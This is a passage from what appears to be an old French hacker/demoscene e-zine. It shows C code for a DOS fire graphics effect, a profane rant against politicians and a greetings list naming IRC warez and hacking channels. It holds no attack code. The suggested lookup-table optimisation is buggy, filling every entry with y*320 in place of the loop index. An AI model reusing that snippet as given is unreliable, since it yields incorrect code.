effect\n"); printf("Coded by SaTaNiK\n"); //ALLOUE DE LA MEMOIRE POUR LE BUFFER buffer=(unsigned char *)malloc(64000); if(buffer==NULL) { printf("Pas assez de mémoire...\n"); exit(1); } //REMPLIT LE BUFFER DE 0 memset(buffer,0,64000); getch(); //PASSE EN MODE GRAPHIQUE change_mode(0x13); //FAIT UNE PALETTE EN NOIR ET BLANC for(index=0;index<256;index++) { r=index/4; g=index/4; b=index/4; set_palette(index); } //BOUCLE TANT QUE PAS DE TOUCHE APPUYE while(!kbhit()) { //REMPLIE LA LIGNE DU BAS DE 0 memset(buffer+(320*199),0,320); //MET 50 POINTS AU HASARD DANS LA LIGNE DU BAS //VOUS POUVEZ AUGMENTEZ CECI POUR DE PLUS GRANDES FLAMMES for(index=0;index<50;index++) { aleat=ALEA(320); pixel(aleat,199,255); } //FAIT MONTER LES FLAMMES for(index=0;index<199;index++) { for(index2=0;index2<320;index2++) { couleur=(buffer[index2+((index+1)*320)]); pixel(index2,index,couleur); } } //FAIT UN BLUR for(index=198;index>0;index--) { for(index2=0;index2<320;index2++) { //FAIT LA MOYENNE DE CE QUI ENTOURE LE PIXEL couleur=(buffer[((index)*320)+index2-1] + buffer[((index)*320)+index2+1] + buffer[((index+1)*320)+index2] + buffer[((index-1)*320)+index2])/4; pixel(index2,index,(unsigned char)couleur); } } //ATTEND L'ECRAN wait_for_screen(); //AFFICHE LE BUFFER show_buffer(); } //REMET L'ECRAN EN MODE TEXTE change_mode(0x03); } ****************************************************************************** Si vous regardez bien le code, je ne copie pas la derniŠre ligne car elle est trop Blanche par rapport aux autres lignes.....donc je la laisse noir et on n'y voit que du feu(h‚h‚ jeu de mot d‚bile). Bon voyons maintenant les moyens d'optimiser ce feu: on peut faire le truc classique et faire une table pour les y, histoire d'‚viter un tas de multiplication...ce qui acc‚l‚re nettement la chose: ****************************** for(index=0;index<200;index++) { tabley[index]=y*320; } ****************************** Bon sinon on pourrait essayer d'optimiser en asm....si qqun veut essayer et arrive … de bons resultats je publie son oeuvre ;). Sinon je le ferais moi mˆmme :). Sinon je met la version executable avec le zine(fire.exe). Ha je met aussi ma version personelle, c'est quasiment le mˆmme code que plus haut mais optimis‚ et pour mode prot‚g‚(Dos4gw)...et pis on y voit aussi des cubes qui brulent...(Perso.exe) ****************************************************************************** * MM MM AA L I CCCCCC I AA * * M M M M A A L I C I A A * * M M M M AAAAAA L I C I AAAAAA * * M MM M A A LLLLL I CCCCCC I A A * ****************************************************************************** ******** "Epilogue" ******** Putain de politiciens, ils m'enervent de plus en plus, je dis pas ‡a seulement pour Le-Pen, car je pense(et je suis sur) que tout les politiciens sont des SALAUDS!!!!! J'dis ‡a parce que … voir comment ils se battent aux elections et ce qu'ils foutent une fois elu ‡a m'enerve!!!!!!! Rha je vous emmerde tous les ptits politicards … la con!!!! Bon voil… c'‚tait un ptit coup de gueule ;)). Bein sinon l… c'est la rentr‚e alors je vais voir si j'ai le temps de continuer le mag :). GrEeTiNgS: -French scene -#pirate(le dernier channel hack pas trop naze ;)) -SqUaB -Lagoon -Hurr|cane -Prezz -#nOpast -Psykaos(il a reussi … m'expliquer ce qu'‚tais le log que j'ai publi‚ dans 1) -Tout ceux qui se bougent le cul!!!!!! -Stage9 MusicDisk(que j'ecoute en ‚crivant, l'est bein chouette) FuCk HaRd: -#warezfrancais(h‚h‚ j'suis bannit pour flood ;)) -Le warez en g‚n‚ral -Les Mp3z(mais c du warez non?) -MiCrOsUcK -Bond007(toi le petit con!!!) -Politiciens … la con(tous en fait...) Billou Le SaTaNiK http://members.xoom.com/SaTaNoS/